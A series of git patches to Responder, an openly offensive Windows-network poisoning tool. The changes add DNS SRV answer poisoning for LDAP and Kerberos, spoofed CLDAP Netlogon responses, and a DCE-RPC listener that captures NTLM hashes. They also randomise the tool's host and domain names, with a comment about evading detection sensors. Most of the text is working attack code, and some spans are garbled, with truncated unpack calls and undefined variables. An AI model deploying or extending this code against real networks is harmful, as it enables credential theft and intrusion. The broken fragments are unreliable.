self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"] + + #Our answer len.. + self.fields["RecordLen"] = StructPython2or3(">h",CalcLen) + + #Where is Answer A Pointer... + CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen + self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4) + + #for now we support ldap and kerberos... + if "ldap" in DNSName: + self.fields["Port"] = StructWithLenPython2or3(">h", 389) + + if "kerberos" in DNSName: + self.fields["Port"] = StructWithLenPython2or3(">h", 88) + + #Last but not least... we provide our IP, so computers can enjoy our services. + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + # LLMNR Answer Packet class LLMNR_Ans(Packet): fields = OrderedDict([ @@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet): self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("B", len(CalculateNetlogonLen)) + self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2) + self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32) + self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42) + ###### + self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1) + ##### SMB Packets ##### class SMBHeader(Packet): fields = OrderedDict([ diff --git a/servers/DNS.py b/servers/DNS.py index 294b146..045264e 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans +from packets import DNS_Ans, DNS_SRV_Ans if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -23,9 +23,11 @@ else: def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] - # If Type A, Class IN, then answer. - return QueryTypeClass == "\x00\x01\x00\x01" + if QueryTypeClass == "\x00\x01\x00\x01": + return "A" + if QueryTypeClass == "\x00\x21\x00\x01": + return "SRV" @@ -37,12 +39,19 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + buff = DNS_SRV_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass @@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + buff = DNS_SRV_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass diff --git a/servers/LDAP.py b/servers/LDAP.py index bf8ba84..2ea817a 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon from utils import * import struct import codecs +import random + +def GenerateNetbiosName(): + return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) + +def CalculateDNSName(name): + if isinstance(name, bytes): + name = name.decode('latin-1') + name = name.split(".") + DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0] + Dnslen = '' + for x in name: + if len(x) >=1: + Dnslen += struct.pack('B', len(x)).decode('latin-1')+x + + return Dnslen, DomainPrefix + +def ParseCLDAPNetlogon(data): + #data = NetworkSendBufferPython2or3(data) + try: + Dns = data.find(b'DnsDomain') + if Dns is -1: + return False + DnsName = data[Dns+9:] + DnsGuidOff = data.find(b'DomainGuid') + if DnsGuidOff is -1: + return False + Guid = data[DnsGuidOff+10:] + if Dns: + DomainLen = struct.unpack(">B", DnsName[1:2])[0] + DomainName = DnsName[2:2+DomainLen] + + if Guid: + DomainGuidLen = struct.unpack(">B", Guid[1:2])[0] + DomainGuid = Guid[2:2+DomainGuidLen] + return DomainName, DomainGuid + except: + pass + def ParseSearch(data): + TID = data[8:9].decode('latin-1') + if re.search(b'Netlogon', data): + NbtName = GenerateNetbiosName() + TID = NetworkRecvBufferPython2or3(data[8:10]) + DomainName, DomainGuid = ParseCLDAPNetlogon(data) + DomainGuid = NetworkRecvBufferPython2or3(DomainGuid) + t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1]) + t.calculate() + return str(t) + if re.search(b'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1'))) + return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): - return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 SSPIStart = data.find(b'NTLMSSP') @@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge): elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data): ParseLDAPHash(data, client, Challenge) +def ParseCLDAPPacket(data, client, Challenge): + if data[1:2] == b'\x84': + PacketLen = struct.unpack('>i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('i',data[2:6])[0] @@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge): sasl = data[20:21] OperationHeadLen = struct.unpack('>i',data[11:15])[0] LDAPVersion = struct.unpack(' Date: Wed, 14 Apr 2021 02:39:46 -0300 Subject: [PATCH 076/219] removed addiontional RR on SRV answers --- packets.py | 20 ++------------------ 1 file changed, 2 insertions(+), 18 deletions(-) diff --git a/packets.py b/packets.py index 8826015..8a293c1 100644 --- a/packets.py +++ b/packets.py @@ -101,7 +101,7 @@ class DNS_SRV_Ans(Packet): ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x01"), + ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x21"),#srv @@ -121,13 +121,6 @@ class DNS_SRV_Ans(Packet): ("TargetLenSuff2", ""), ("TargetSuffix2", ""), ("TargetNull", "\x00"), - ("AnswerAPointer", "\xc0"), - ("AnswerAPtrOffset", ""), - ("Type2", "\x00\x01"),#A record. - ("Class2", "\x00\x01"), - ("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): @@ -154,21 +147,13 @@ class DNS_SRV_Ans(Packet): #Our answer len.. self.fields["RecordLen"] = StructPython2or3(">h",CalcLen) - #Where is Answer A Pointer... - CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen - self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4) - #for now we support ldap and kerberos... if "ldap" in DNSName: self.fields["Port"] = StructWithLenPython2or3(">h", 389) if "kerberos" in DNSName: self.fields["Port"] = StructWithLenPython2or3(">h", 88) - - #Last but not least... we provide our IP, so computers can enjoy our services. - self.fields["IP"] = RespondWithIPAton() - self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) - + # LLMNR Answer Packet class LLMNR_Ans(Packet): fields = OrderedDict([ @@ -1917,4 +1902,3 @@ class RDPNTLMChallengeAnswer(Packet): self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3(" Date: Fri, 16 Apr 2021 21:35:32 -0300 Subject: [PATCH 077/219] Added dce-rpc module + enhancements + bug fix. --- Responder.conf | 1 + Responder.py | 5 + servers/DNS.py | 2 +- servers/HTTP.py | 6 +- servers/LDAP.py | 30 +++--- servers/Proxy_Auth.py | 6 +- servers/RPC.py | 214 ++++++++++++++++++++++++++++++++++++++++++ servers/SMB.py | 4 +- settings.py | 11 ++- utils.py | 6 ++ 10 files changed, 260 insertions(+), 25 deletions(-) create mode 100644 servers/RPC.py diff --git a/Responder.conf b/Responder.conf index 707a085..7204f3b 100644 --- a/Responder.conf +++ b/Responder.conf @@ -13,6 +13,7 @@ HTTP = On HTTPS = On DNS = On LDAP = On +DCERPC = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index d019fea..4e9e1c4 100755 --- a/Responder.py +++ b/Responder.py @@ -270,6 +270,11 @@ def main(): from servers.RDP import RDP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,))) + if settings.Config.DCERPC_On_Off: + from servers.RPC import RPCMap, RPCMapper + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,))) + if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) diff --git a/servers/DNS.py b/servers/DNS.py index 045264e..faa7d81 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -33,7 +33,7 @@ def ParseDNSType(data): class DNS(BaseRequestHandler): def handle(self): - # Break out if we don't want to respond to this host + # Ditch it if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None diff --git a/servers/HTTP.py b/servers/HTTP.py index 2cf5216..2701ca8 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge): else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return NetworkSendBufferPython2or3(Buffer) + return Buffer elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge): else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return NetworkSendBufferPython2or3(Buffer) + return Buffer else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() @@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler): Buffer = PacketSequence(data,self.client_address[0], Challenge) self.request.send(NetworkSendBufferPython2or3(Buffer)) - except socket.error: + except: pass diff --git a/servers/LDAP.py b/servers/LDAP.py index 2ea817a..8bbd976 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -25,9 +25,6 @@ import struct import codecs import random -def GenerateNetbiosName(): - return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) - def CalculateDNSName(name): if isinstance(name, bytes): name = name.decode('latin-1') @@ -41,7 +38,6 @@ def CalculateDNSName(name): return Dnslen, DomainPrefix def ParseCLDAPNetlogon(data): - #data = NetworkSendBufferPython2or3(data) try: Dns = data.find(b'DnsDomain') if Dns is -1: @@ -66,21 +62,25 @@ def ParseCLDAPNetlogon(data): def ParseSearch(data): TID = data[8:9].decode('latin-1') if re.search(b'Netlogon', data): - NbtName = GenerateNetbiosName() + NbtName = settings.Config.MachineName TID = NetworkRecvBufferPython2or3(data[8:10]) + if TID[1] == "\x63": + TID = "\x00"+TID[0] DomainName, DomainGuid = ParseCLDAPNetlogon(data) DomainGuid = NetworkRecvBufferPython2or3(DomainGuid) t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1]) t.calculate() return str(t) - if re.search(b'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) - elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) + elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) + + if re.search(b'(objectClass)', data): + return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) + def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 SSPIStart = data.find(b'NTLMSSP') SSPIString = data[SSPIStart:] @@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge): def ParseCLDAPPacket(data, client, Challenge): if data[1:2] == b'\x84': - PacketLen = struct.unpack('>i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[2:6])[0] + if Operation == b'\x84': + Operation = data[9:10] sasl = data[20:21] OperationHeadLen = struct.unpack('>i',data[11:15])[0] LDAPVersion = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('. +from utils import * +import struct +import re +import ssl +import codecs + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego + +NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2 +Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1 +MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa" + +#for mapper +DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4 +LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0 +NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1 +WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1 + + + +def Chose3264x(packet): + if Map32 in packet: + return Map32 + else: + return Map64 + +def FindNTLMOpcode(data): + SSPIStart = data.find(b'NTLMSSP') + if SSPIStart is -1: + return False + SSPIString = data[SSPIStart:] + return SSPIString[8:12] + +def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2 + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') + DomainLen = struct.unpack('. -import utils, sys +import utils, sys, random if (sys.version_info > (3, 0)): import configparser as ConfigParser else: @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.4.0' +__version__ = 'Responder 3.0.5.0' class Settings: @@ -96,6 +96,7 @@ class Settings: self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) # Db File @@ -159,6 +160,12 @@ class Settings: self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #Generate Random stuff for one Responder session + self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) + self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) + self.DomainName = self.Domain + '.LOCAL' + self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName + self.RPCPort = random.randrange(45000, 49999) # Auto Ignore List self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) diff --git a/utils.py b/utils.py index ef27ed7..44eb8c2 100644 --- a/utils.py +++ b/utils.py @@ -386,6 +386,7 @@ def StartupMessage(): print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:") @@ -420,4 +421,9 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print('') + print(color("[+] ", 2, 1) + "Current Session Variables:") + print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) + print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) + print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) From 8f74fdaf466d2ce504f127b590de6fbf97109d11 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 16 Apr 2021 21:42:22 -0300 Subject: [PATCH 078/219] forgot to add packets.py --- packets.py | 345 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 286 insertions(+), 59 deletions(-) diff --git a/packets.py b/packets.py index 8a293c1..903310c 100644 --- a/packets.py +++ b/packets.py @@ -40,10 +40,6 @@ class Packet(): def __str__(self): return "".join(map(str, self.fields.values())) -def GenerateCallbackName(): - return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) - - # NBT Answer Packet class NBT_Ans(Packet): fields = OrderedDict([ @@ -132,7 +128,7 @@ class DNS_SRV_Ans(Packet): self.fields["QuestionName"] = DNSName #Want to be detected that easily by xyz sensor? - self.fields["TargetPrefix"] = "win-"+GenerateCallbackName() + self.fields["TargetPrefix"] = settings.Config.MachineName #two last parts of the domain are the actual Domain name.. eg: contoso.com self.fields["TargetSuffix"] = SplitFQDN[-2] @@ -154,6 +150,7 @@ class DNS_SRV_Ans(Packet): if "kerberos" in DNSName: self.fields["Port"] = StructWithLenPython2or3(">h", 88) + # LLMNR Answer Packet class LLMNR_Ans(Packet): fields = OrderedDict([ @@ -221,22 +218,22 @@ class NTLM_Challenge(Packet): ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), + ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), + ("Av1Str", settings.Config.Domain), ("Av2", "\x01\x00"),#Server name ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), + ("Av2Str", settings.Config.MachineName), ("Av3", "\x04\x00"),#Full Domain name ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), + ("Av3Str", settings.Config.DomainName), ("Av4", "\x03\x00"),#Full machine domain name ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), + ("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName), ("Av5", "\x05\x00"),#Domain Forest Name ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), + ("Av5Str", settings.Config.DomainName), ("Av6", "\x00\x00"),#AvPairs Terminator ("Av6Len", "\x00\x00"), ]) @@ -529,22 +526,22 @@ class MSSQLNTLMChallengeAnswer(Packet): ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), + ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), + ("Av1Str", settings.Config.Domain), ("Av2", "\x01\x00"),#Server name ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), + ("Av2Str", settings.Config.MachineName), ("Av3", "\x04\x00"),#Full Domain name ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), + ("Av3Str", settings.Config.DomainName), ("Av4", "\x03\x00"),#Full machine domain name ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), + ("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName), ("Av5", "\x05\x00"),#Domain Forest Name ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), + ("Av5Str", settings.Config.DomainName), ("Av6", "\x00\x00"),#AvPairs Terminator ("Av6Len", "\x00\x00"), ]) @@ -587,7 +584,7 @@ class SMTPGreeting(Packet): fields = OrderedDict([ ("Code", "220"), ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), + ("Message", settings.Config.DomainName+" ESMTP"), ("CRLF", "\x0d\x0a"), ]) @@ -595,7 +592,7 @@ class SMTPAUTH(Packet): fields = OrderedDict([ ("Code0", "250"), ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), + ("Message0", settings.Config.DomainName), ("CRLF0", "\x0d\x0a"), ("Code", "250"), ("Separator", "\x20"), @@ -790,22 +787,22 @@ class LDAPNTLMChallenge(Packet): ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), - ("NTLMSSPNtWorkstationName", "SMB12"), + ("NTLMSSPNtWorkstationName", settings.Config.Domain), ("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"), ("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"), + ("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain), ("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"), ("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"), + ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName), ("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"), ("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName), ("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"), ("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName), ("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"), ("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "smb12.local"), + ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName), ("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"), ("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"), ]) @@ -813,7 +810,7 @@ class LDAPNTLMChallenge(Packet): def calculate(self): ###### Convert strings to Unicode first - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') + self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1') @@ -908,7 +905,6 @@ class CLDAPNetlogon(Packet): ]) def calculate(self): - ###### LDAP Packet Len CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"]) OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"]) @@ -1132,15 +1128,16 @@ class SMBNegoAnsLM(Packet): ("Keylength", "\x08"), ("Bcc", "\x10\x00"), ("Key", ""), - ("Domain", "SMB"), + ("Domain", settings.Config.Domain), ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), + ("Server", settings.Config.MachineName), ("ServerNull", "\x00\x00"), ]) + def calculate(self): - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') + self.fields["Domain"] = self.fields["Domain"].encode('utf-16le').decode('latin-1') + self.fields["Server"] = self.fields["Server"].encode('utf-16le').decode('latin-1') CompleteBCCLen = 